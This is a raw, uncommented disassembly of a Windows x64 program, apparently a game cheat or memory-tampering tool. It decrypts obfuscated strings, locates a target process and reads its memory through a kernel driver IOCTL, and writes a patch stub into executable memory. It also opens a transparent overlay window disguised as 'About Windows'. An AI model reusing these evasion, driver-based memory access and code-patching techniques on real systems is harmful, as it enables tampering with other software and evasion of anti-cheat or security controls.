movzx eax, word [0x1401f413c]
mov word [rsp + 0x60], ax
cmp byte [reloc.WLDAP32.dll_Ordinal_50], 0
je 0x14007b9cf
mov byte [rsp + 0x60], 8
xor byte [rsp + 0x61], 0x32
lea rdx, [rsp + 0x60]
lea rcx, [0x140324670]
call fcn.14008ba40
cmp qword [0x140326630], 0
je 0x14007b530
mov edx, 6
lea rcx, [rbp + 0x4d8]
call fcn.14003c060
lea r10, [rax + 8]
cmp qword [rax + 0x20], 0x10
jb 0x14007ba0d
mov r10, qword [r10]
movups xmm0, xmmword [0x1401f3c68]
movups xmmword [rbp + 0x2c0], xmm0
movups xmm1, xmmword [0x1401f3c78]
movups xmmword [rbp + 0x2d0], xmm1
movups xmm0, xmmword [0x1401f3c88]
movups xmmword [rbp + 0x2e0], xmm0
mov eax, dword [0x1401f3c98]
mov dword [rbp + 0x2f0], eax
movzx eax, byte [0x1401f3c9c]
mov byte [rbp + 0x2f4], al
mov r8d, edi
cmp r15d, 2
jl 0x14007bba7
movdqa xmm5, xmmword [0x1401f89d0]
movdqa xmm4, xmmword [0x1401f8ed0]
movd xmm6, r12d
movdqa xmm7, xmmword [0x1401f89f0]
movd xmm8, r13d
movdqa xmm0, xmmword [0x1401f8ac0]
movdqa xmmword [rsp + 0x70], xmm0
lea rcx, [rbp + 0x2c0]
mov edx, dword [rsp + 0x70]
nop dword [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x1401f8a20]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
pxor xmm2, xmm0
movd dword [rcx], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x1401f8a20]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx + 4]
pxor xmm2, xmm0
movd dword [rcx + 4], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x30
jl 0x14007baa0
cmp r8d, 0x35
jge 0x14007bbf2
movsxd rax, r8d
lea r9, [rbp + 0x2c0]
add r9, rax
nop dword [rax]
nop dword [rax + rax]
mov eax, 0x5397829d
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
mov eax, 1
sub al, dl
movsx eax, al
imul ecx, eax, 0x31
add cl, r8b
xor byte [r9], cl
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x35
jl 0x14007bbc0
mov r9d, 0x40040
mov r8, r10
lea rdx, [rbp + 0x2c0]
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxA]
lea rcx, [rbp + 0x4d8]
call fcn.140089e00
mov rcx, qword [rbp + 0x4d8]
mov qword [rbp + 0x4d8], rdi
mov edx, reloc.WS2_32.dll_recv
call fcn.14008c9e0
mov edx, 6
lea rcx, [rbp + 0x378]
call fcn.14003c060
lea r10, [rax + 8]
cmp qword [rax + 0x20], 0x10
jb 0x14007bc4d
mov r10, qword [r10]
movups xmm0, xmmword [0x1401f6920]
movups xmmword [rbp + 0x290], xmm0
movups xmm1, xmmword [0x1401f6930]
movups xmmword [rbp + 0x2a0], xmm1
movsd xmm0, qword [0x1401f6940]
movsd qword [rbp + 0x2b0], xmm0
movzx eax, byte [0x1401f6948]
mov byte [rbp + 0x2b8], al
mov r8d, edi
cmp r15d, 2
jl 0x14007bdd7
movdqa xmm5, xmmword [0x1401f89d0]
movdqa xmm4, xmmword [0x1401f8ed0]
movd xmm6, r12d
movdqa xmm7, xmmword [0x1401f89f0]
movd xmm8, r13d
movdqa xmm0, xmmword [0x1401f8ac0]
movdqa xmmword [rsp + 0x70], xmm0
lea rcx, [rbp + 0x290]
mov edx, dword [rsp + 0x70]
nop
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x1401f8a20]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
pxor xmm2, xmm0
movd dword [rcx], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x1401f8a20]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx + 4]
pxor xmm2, xmm0
movd dword [rcx + 4], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x28
jl 0x14007bcd0
cmp r8d, 0x29
jge 0x14007be22
movsxd rax, r8d
lea r9, [rbp + 0x290]
add r9, rax
nop dword [rax]
nop dword [rax + rax]
mov eax, 0x5397829d
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
mov eax, 1
sub al, dl
movsx eax, al
imul ecx, eax, 0x31
add cl, r8b
xor byte [r9], cl
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x29
jl 0x14007bdf0
mov r9d, 0x40030
mov r8, r10
lea rdx, [rbp + 0x290]
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxA]
lea rcx, [rbp + 0x378]
call fcn.140089e00
mov rcx, qword [rbp + 0x378]
mov qword [rbp + 0x378], rdi
mov edx, reloc.WS2_32.dll_recv
call fcn.14008c9e0
mov ecx, 8
call fcn.14008e9e0
lea rcx, [0x140042350]
mov qword [rax], rcx
mov qword [rbp + 0x50], rax
lea rcx, [rbp - 0x38]
mov qword [rsp + 0x28], rcx
mov dword [rsp + 0x20], edi
mov r9, rax
lea r8, [0x14008dad0]
xor edx, edx
xor ecx, ecx
call fcn.140166a30
mov qword [rbp - 0x40], rax
test rax, rax
je 0x14007c92c
cmp dword [rbp - 0x38], 0
je 0x14007c8cc
movaps xmm0, xmmword [rbp - 0x40]
movdqa xmmword [rbp - 0x50], xmm0
lea rcx, [rbp - 0x50]
call fcn.140091c20
test eax, eax
jne 0x14007c8d7
xorps xmm0, xmm0
movdqa xmmword [rbp - 0x40], xmm0
lea rdx, [0x1403265e0]
mov rcx, qword [0x140326630]
call qword [sym.imp.USER32.dll_GetWindowThreadProcessId]
movsd xmm0, qword [0x1401f81e8]
movsd qword [rbp + 0x68], xmm0
mov eax, dword [0x1401f81f0]
mov dword [rbp + 0x70], eax
cmp byte [reloc.WLDAP32.dll_Ordinal_60], 0
je 0x14007c062
mov r8d, edi
cmp r15d, 2
jl 0x14007c01c
movdqa xmm4, xmmword [0x1401f8ed0]
movd xmm6, r12d
movd xmm5, r13d
movdqa xmm2, xmmword [0x1401f89d0]
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm5
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x1401f89f0]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x1401f8a20]
packuswb xmm2, xmm2
mov eax, dword [0x1401f8ac0]
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, dword [0x1401f81e8]
pxor xmm2, xmm1
movd dword [rbp + 0x68], xmm2
movdqa xmm3, xmmword [0x1401f89e0]
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm5
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x1401f89f0]
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x1401f8a20]
packuswb xmm2, xmm2
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, dword [rbp + 0x6c]
pxor xmm2, xmm1
movd dword [rbp + 0x6c], xmm2
mov r8d, 8
mov eax, r8d
lea r9, [rbp + 0x68]
add r9, rax
nop word [rax + rax]
mov eax, 0x5397829d
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
mov eax, 1
sub al, dl
movsx eax, al
imul ecx, eax, 0x31
add cl, r8b
xor byte [r9], cl
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0xc
jl 0x14007c030
mov esi, edi
mov ebx, edi
xor edx, edx
lea ecx, [rdx + 2]
call qword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
mov r14, rax
mov dword [rbp + 0x5a0], 0x130
lea rdx, [rbp + 0x5a0]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_Process32First]
lea rdx, [rbp + 0x5a0]
mov rcx, r14
call qword [sym.imp.KERNEL32.dll_Process32Next]
test eax, eax
je 0x14007c0ea
nop dword [rax]
nop word [rax + rax]
lea rdx, [rbp + 0x68]
lea rcx, [rbp + 0x5cc]
call fcn.140170078
test eax, eax
jne 0x14007c0d6
mov eax, dword [rbp + 0x5bc]
cmp eax, ebx
jle 0x14007c0d6
mov ebx, eax
mov esi, dword [rbp + 0x5a8]
lea rdx, [rbp + 0x5a0]
mov rcx, r14
call qword [sym.imp.KERNEL32.dll_Process32Next]
test eax, eax
jne 0x14007c0b0
mov dword [0x14032652c], esi
mov dword [0x14032662c], esi
mov qword [rbp + 0x50], rdi
mov dword [rbp + 0x40], 0x85b3e12
mov dword [rbp + 0x44], esi
lea rax, [rbp + 0x50]
mov qword [rbp + 0x48], rax
mov qword [rsp + 0x38], rdi
mov qword [rsp + 0x30], rdi
mov dword [rsp + 0x28], edi
mov qword [rsp + 0x20], rdi
mov r9d, reloc.WS2_32.dll_recv
lea r8, [rbp + 0x40]
mov edx, 0x2201c8
mov rcx, qword [0x140326580]
call qword [sym.imp.KERNEL32.dll_DeviceIoControl]
mov rax, qword [rbp + 0x50]
mov qword [0x140326598], rax
mov qword [0x140326648], rax
mov r8d, dword [0x14032662c]
xor edx, edx
mov ecx, 0x1fffff
call qword [sym.imp.KERNEL32.dll_OpenProcess]
mov edx, 0x3e8
mov ecx, Ordinal_301
call qword [sym.imp.KERNEL32.dll_Beep]
cmp qword [0x140326648], 0
jne 0x14007c345
mov edx, 7
lea rcx, [rbp + 0x300]
call fcn.14003c060
mov rcx, rax
call fcn.140088090
mov r11, rax
lea rdx, [rbp + 0x6d0]
call fcn.14007c9f0
mov r10, rax
cmp byte [rax + 0x59], 0
je 0x14007c80e
cmp r15d, 2
jl 0x14007c306
movdqa xmm5, xmmword [0x1401f89d0]
movdqa xmm4, xmmword [0x1401f8ed0]
movd xmm6, r12d
movdqa xmm7, xmmword [0x1401f89f0]
movd xmm8, r13d
movdqa xmm0, xmmword [0x1401f8ac0]
movdqa xmmword [rsp + 0x70], xmm0
mov rcx, rax
mov edx, dword [rsp + 0x70]
nop word [rax + rax]
movd xmm2, edi
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x1401f8a20]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
pxor xmm2, xmm0
movd dword [rcx], xmm2
lea eax, [rdi + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x1401f8a20]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx + 4]
pxor xmm2, xmm0
movd dword [rcx + 4], xmm2
add edi, 8
lea rcx, [rcx + 8]
cmp edi, 0x58
jl 0x14007c200
cmp edi, 0x5a
jge 0x14007c80e
movsxd r8, edi
add r8, r10
nop dword [rax]
mov eax, 0x5397829d
imul edi
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
mov eax, 1
sub al, dl
movsx eax, al
imul ecx, eax, 0x31
add cl, dil
xor byte [r8], cl
inc edi
lea r8, [r8 + 1]
cmp edi, 0x5a
jge 0x14007c80e
jmp 0x14007c310
call qword [sym.imp.KERNEL32.dll_GetConsoleWindow]
mov rcx, rax
mov edx, 6
call qword [sym.imp.USER32.dll_ShowWindow]
mov rcx, qword [0x140326648]
add rcx, 0xa94e928
call fcn.14008c010
mov rbx, rax
test rax, rax
jne 0x14007c3a6
nop dword [rax]
nop dword [rax + rax]
mov rcx, qword [0x140326648]
add rcx, 0xa94e928
call fcn.14008c010
mov rbx, rax
mov ecx, 0x3e8
call qword [sym.imp.KERNEL32.dll_Sleep]
test rbx, rbx
je 0x14007c380
lea rcx, [rbx + 3]
call fcn.14008c0b0
cdqe
add rax, 7
add rax, rbx
mov qword [0x1403265e8], rax
xor edx, edx
mov r8d, 0x3fe
lea rcx, [rbp + 0x842]
call fcn.14013f700
mov word [rbp + 0x840], 0x9090
mov r8d, 0x3fe
lea rdx, [rbp + 0x842]
mov rcx, rbx
call fcn.1400399e0
mov dword [rbp + 0x842], 0x90c18b48
mov word [rbp + 0x846], 0x9090
mov byte [rbp + 0x848], 0x90
mov edx, 0x404
xor ecx, ecx
lea r9d, [rcx + 0x40]
mov r8d, 0x1000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov qword [0x140326620], rax
lea rcx, [rbp + 0x840]
mov edx, 8
nop word [rax + rax]
movups xmm0, xmmword [rcx]
movups xmmword [rax], xmm0
movups xmm1, xmmword [rcx + 0x10]
movups xmmword [rax + 0x10], xmm1
movups xmm0, xmmword [rcx + 0x20]
movups xmmword [rax + 0x20], xmm0
movups xmm1, xmmword [rcx + 0x30]
movups xmmword [rax + 0x30], xmm1
movups xmm0, xmmword [rcx + 0x40]
movups xmmword [rax + 0x40], xmm0
movups xmm1, xmmword [rcx + 0x50]
movups xmmword [rax + 0x50], xmm1
movups xmm0, xmmword [rcx + 0x60]
movups xmmword [rax + 0x60], xmm0
lea rax, [rax + 0x80]
movups xmm1, xmmword [rcx + 0x70]
movups xmmword [rax - 0x10], xmm1
lea rcx, [rcx + 0x80]
sub rdx, 1
jne 0x14007c440
lea ecx, [rdx + 8]
call fcn.14008e9e0
lea rcx, [0x140048820]
mov qword [rax], rcx
mov qword [rbp + 0x50], rax
lea rcx, [rbp - 0x18]
mov qword [rsp + 0x28], rcx
mov dword [rsp + 0x20], edi
mov r9, rax
lea r8, [0x14008dad0]
xor edx, edx
xor ecx, ecx
call fcn.140166a30
mov qword [rbp - 0x20], rax
test rax, rax
je 0x14007c91e
cmp dword [rbp - 0x18], 0
je 0x14007c8df
movaps xmm0, xmmword [rbp - 0x20]
movdqa xmmword [rbp - 0x50], xmm0
lea rcx, [rbp - 0x50]
call fcn.140091c20
test eax, eax
jne 0x14007c8ea
call fcn.140043d00
mov ecx, 8
call fcn.14008e9e0
lea rcx, [0x140045900]
mov qword [rax], rcx
mov qword [rbp + 0x50], rax
lea rcx, [rbp - 0x28]
mov qword [rsp + 0x28], rcx
mov dword [rsp + 0x20], edi
mov r9, rax
lea r8, [0x14008dad0]
xor edx, edx
xor ecx, ecx
call fcn.140166a30
mov qword [rbp - 0x30], rax
test rax, rax
je 0x14007c910
cmp dword [rbp - 0x28], 0
je 0x14007c8f2
movaps xmm0, xmmword [rbp - 0x30]
movdqa xmmword [rbp - 0x50], xmm0
lea rcx, [rbp - 0x50]
call fcn.140091c20
test eax, eax
jne 0x14007c8fd
mov dword [rbp + 0x300], 0x50
mov dword [rbp + 0x304], 0x40
lea rax, [0x140045770]
mov qword [rbp + 0x308], rax
mov qword [rbp + 0x310], rdi
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov qword [rbp + 0x318], rax
xorps xmm0, xmm0
movdqu xmmword [rbp + 0x320], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x330], xmm1
lea rbx, str.About_Windows
mov qword [rbp + 0x340], rbx
mov qword [rbp + 0x348], rdi
lea rcx, [rbp + 0x300]
call qword [sym.imp.USER32.dll_RegisterClassExA]
lea rdx, [0x140326638]
mov rcx, qword [0x140326630]
call qword [sym.imp.USER32.dll_GetClientRect]
mov qword [rbp - 0x60], rdi
lea rdx, [rbp - 0x60]
mov rcx, qword [0x140326630]
call qword [sym.imp.USER32.dll_ClientToScreen]
mov eax, dword [rbp - 0x60]
mov dword [0x140326638], eax
mov eax, dword [rbp - 0x5c]
mov dword [0x14032663c], eax
mov r8d, dword [0x140326640]
mov dword [0x140326650], r8d
mov eax, dword [0x140326644]
mov dword [0x140326628], eax
mov qword [rsp + 0x58], rdi
mov qword [rsp + 0x50], rdi
mov qword [rsp + 0x48], rdi
mov qword [rsp + 0x40], rdi
mov dword [rsp + 0x38], eax
mov dword [rsp + 0x30], r8d
mov dword [rsp + 0x28], edi
mov dword [rsp + 0x20], edi
mov r9d, 0x90000000
lea r8, str.Winver
mov rdx, rbx
xor ecx, ecx
call qword [sym.imp.USER32.dll_CreateWindowExA]
mov qword [0x14032abb0], rax
test rax, rax
je 0x14007c905
movdqa xmm0, xmmword [0x1401f8940]
movdqu xmmword [rbp + 0x3a0], xmm0
lea rdx, [rbp + 0x3a0]
mov rcx, rax
call qword [sym.imp.dwmapi.dll_DwmExtendFrameIntoClientArea]
mov edx, 0xffffffec
mov r8d, 0x800a0
mov rcx, qword [0x14032abb0]
call qword [sym.imp.USER32.dll_SetWindowLongA]
mov edx, 5
mov rcx, qword [0x14032abb0]
call qword [sym.imp.USER32.dll_ShowWindow]
mov rcx, qword [0x14032abb0]
call qword [sym.imp.USER32.dll_UpdateWindow]
call fcn.140044910
call fcn.140045460
mov rcx, qword [0x140326538]
mov rax, qword [rcx]
call qword [rax + reloc.WS2_32.dll_recv]
mov rcx, qword [0x14032abe0]
mov rax, qword [rcx]
call qword [rax + reloc.WS2_32.dll_recv]
mov rcx, qword [0x140326610]
mov rax, qword [rcx]
call qword [rax + reloc.WS2_32.dll_recv]
mov rcx, qword [0x14032abb0]
call qword [sym.imp.USER32.dll_DestroyWindow]
xor edx, edx
lea rcx, str.fgers
call qword [sym.imp.USER32.dll_UnregisterClassA]
nop
lea rcx, [rbp + 0x268]
call fcn.140089e00
mov rcx, qword [rbp + 0x268]
mov qword [rbp + 0x268], rdi
mov edx, reloc.WS2_32.dll_recv
call fcn.14008c9e0
nop
lea rcx, [rbp + 0x240]
call fcn.140089e00
mov rcx, qword [rbp + 0x240]
mov qword [rbp + 0x240], rdi
mov edx, reloc.WS2_32.dll_recv
call fcn.14008c9e0
xor eax, eax
mov rcx, qword [rbp + 0xc40]
xor rcx, rsp
call fcn.14008db20
lea r11, [rsp + 0xd80]
mov rbx, qword [r11 + 0x30]
mov rsi, qword [r11 + 0x38]
mov rdi, qword [r11 + 0x40]
movaps xmm6, xmmword [r11 - 0x10]
movaps xmm7, xmmword [r11 - 0x20]
movaps xmm8, xmmword [r11 - 0x30]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rbp
ret
mov dword [rbp + 0x38], edi
mov ecx, 6
call fcn.140090400
nop
mov r9d, 0x40010
mov r8, r11
mov rdx, r10
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxA]
lea rcx, [rbp + 0x378]
call fcn.140088240
mov ecx, 1
call fcn.140164040
int3
mov rdx, r9
lea rcx, [0x140324670]
call fcn.14008ba40
mov rcx, rax
call fcn.140087970
mov ecx, 0x1f40
call qword [sym.imp.KERNEL32.dll_Sleep]
mov ecx, 1
call fcn.140164040
int3
mov r9d, 0x40010
mov r8, r11
mov rdx, r10
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxA]
lea rcx, [rbp + 0x300]
call fcn.140088240
mov ecx, 1
call fcn.140164040
nop
mov dword [rbp - 0x68], edi
mov ecx, 6
call fcn.140090400
nop
mov ecx, 1
call fcn.140090400
int3
mov ecx, eax
call fcn.1400903a0
nop
mov ecx, 1
call fcn.140090400
int3
mov ecx, eax
call fcn.1400903a0
nop
mov ecx, 1
call fcn.140090400
int3
mov ecx, eax
call fcn.1400903a0
nop
mov ecx, 1
call fcn.140090400
int3
mov ecx, eax
call fcn.1400903a0
nop
mov ecx, 1
call fcn.140090400
int3
mov ecx, eax
call fcn.1400903a0
nop
mov ecx, 1
call fcn.140090400
int3
mov ecx, eax
call fcn.1400903a0
nop
mov ecx, 1
call fcn.140164040
int3
xor ecx, ecx
call fcn.140164040
nop
mov ecx, 1
call fcn.140090400
int3
mov ecx, eax
call fcn.1400903a0
nop
mov ecx, 1
call fcn.140090400
int3
mov ecx, eax
call fcn.1400903a0
nop
mov ecx, 1
call fcn.140090400
int3
mov ecx, eax
call fcn.1400903a0
nop
mov ecx, 2
call fcn.140164040
nop
mov dword [rbp - 0x28], edi
mov ecx, 6
call fcn.140090400
nop
mov dword [rbp - 0x18], edi
mov ecx, 6
call fcn.140090400
nop
mov dword [rbp - 0x38], edi
mov ecx, 6
call fcn.140090400
nop
mov dword [rbp - 8], edi
mov ecx, 6
call fcn.140090400
nop
mov dword [rbp + 8], edi
mov ecx, 6
call fcn.140090400
nop
mov dword [rbp + 0x18], edi
mov ecx, 6
call fcn.140090400
nop
mov dword [rbp + 0x28], edi
mov ecx, 6
call fcn.140090400
int3